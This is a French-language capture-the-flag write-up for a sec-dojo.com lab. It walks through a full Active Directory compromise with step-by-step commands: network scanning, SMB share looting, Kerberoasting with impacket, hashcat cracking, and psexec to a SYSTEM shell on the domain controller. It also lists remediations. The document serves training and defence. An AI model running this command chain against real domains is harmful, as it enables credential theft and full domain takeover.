Lab Ease : Kerberoasting, Domain Admin
Plateforme : sec-dojo.com Thématique : Active Directory / Kerberoasting Résultat : ✅ accès
SYSTEMsur le Domain Controller, flag récupéré
1. Informations générales
| Élément | Valeur |
|---|---|
| Lab | Ease — sec-dojo.com |
| Domaine | lab.abcit.local |
| DC / Hostname | HOLLOW — 176.16.144.130 |
| OS cible | Windows Server 2016 (Build 14393) |
| Compte initial | LAB\student / hsxGs_72$ |
| Objectif | Obtenir un accès Domain Admin |
| Flag | flag_9e24dcaf_5f17_485f_80b7_2296e64d4bc6 |
2. Étapes d’attaque et commandes
Étape 1 — Reconnaissance réseau
Identifier son propre sous-réseau et l’IP du Domain Controller.
# Identifier son propre subnet
ip addr show
ip route
# Scanner le réseau pour trouver le DC (ports Kerberos/LDAP/SMB)
nmap -p 88,389,445 --open --min-rate 2000 -Pn 176.16.0.0/16
Résultat : DC trouvé à 176.16.144.130 (ports 88, 389, 445 ouverts).
Étape 2 — Identification du domaine (SMB)
# Obtenir le nom du domaine et du DC
netexec smb 176.16.144.130
Résultat : domaine lab.abcit.local, machine HOLLOW, Windows Server 2016.
Étape 3 — Énumération SMB (information leakage)
# Vérifier les credentials et lister les partages
netexec smb 176.16.144.130 -u student -p 'hsxGs_72$' -d lab.abcit.local --shares
# Connexion au partage ADMIN_TOOLS (accessible en READ/WRITE)
smbclient //176.16.144.130/ADMIN_TOOLS -U 'lab.abcit.local\student%hsxGs_72$'
# Télécharger les fichiers sensibles
smbclient //176.16.144.130/ADMIN_TOOLS -U 'lab.abcit.local\student%hsxGs_72$' -c 'get todo.txt; get web.config'
Résultat : todo.txt révèle l’existence de admin-tools.lab.abcit.local. web.config confirme un serveur IIS.
💡 Point clé : un partage SMB mal restreint, accessible en lecture/écriture à un utilisateur non-privilégié, suffit à fuiter des informations d’infrastructure sensibles.
Étape 4 — Kerberoasting
# Récupérer les hashes TGS des comptes avec SPN
impacket-GetUserSPNs lab.abcit.local/student:'hsxGs_72$' -dc-ip 176.16.144.130 -request
Résultat : hash TGS du compte svc_mssql récupéré — membre de Domain Admins.
Étape 5 — Crack du hash (Hashcat)
# Sauvegarder le hash
echo '$krb5tgs$23$*svc_mssql$...' > hash.txt
# Cracker avec rockyou.txt (mode 13100 = Kerberos TGS)
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
Résultat : mot de passe cracké en moins d’une seconde → svc_mssql : winston.
Étape 6 — Accès Domain Admin (psexec)
# Obtenir un shell SYSTEM sur le DC
impacket-psexec lab.abcit.local/svc_mssql:winston@176.16.144.130
# Récupérer le flag
type C:\Users\Administrator\Desktop\proof.txt
Résultat : shell SYSTEM obtenu sur HOLLOW.
flag_9e24dcaf_5f17_485f_80b7_2296e64d4bc6
3. Vulnérabilités identifiées
| # | Vulnérabilité | Sévérité | Impact |
|---|---|---|---|
| 1 | Partage SMB ADMIN_TOOLS accessible en READ/WRITE aux utilisateurs non-privilégiés |
🟠 Haute | Fuite d’informations sensibles |
| 2 | Compte de service svc_mssql membre de Domain Admins |
🔴 Critique | Élévation de privilèges directe |
| 3 | Mot de passe faible sur compte de service (winston) |
🔴 Critique | Compromission totale du domaine |
| 4 | Kerberoasting possible sur compte privilégié avec SPN | 🔴 Critique | Récupération du hash offline |
4. Recommandations
Partage ADMIN_TOOLS
- Restreindre les permissions aux seuls administrateurs.
- Auditer régulièrement les ACL des partages SMB.
Comptes de service
- Ne jamais ajouter un compte de service dans Domain Admins.
- Appliquer le principe du moindre privilège.
- Utiliser des Managed Service Accounts (gMSA) pour éviter le Kerberoasting.
Mots de passe
- Utiliser des mots de passe longs et aléatoires (25+ caractères) pour les comptes de service.
- Activer une politique de complexité stricte dans la GPO.
Surveillance (SOC)
- Monitorer l’Event ID 4769 (requêtes TGS anormales).
- Alerter sur les connexions
psexec/ SMB depuis des machines non-autorisées.
5. Conclusion
Le domaine lab.abcit.local a été compromis intégralement en moins d’une heure grâce à une chaîne de vulnérabilités : fuite d’informations via un partage SMB mal configuré, Kerberoasting sur un compte de service privilégié, et un mot de passe faible facilement crackable. L’accès SYSTEM sur le Domain Controller a été obtenu via psexec.
Flag final :
flag_9e24dcaf_5f17_485f_80b7_2296e64d4bc6
Références
- Kerberoasting — technique MITRE ATT&CK T1558.003
- Outils utilisés :
netexec,smbclient,impacket-GetUserSPNs,hashcat,impacket-psexec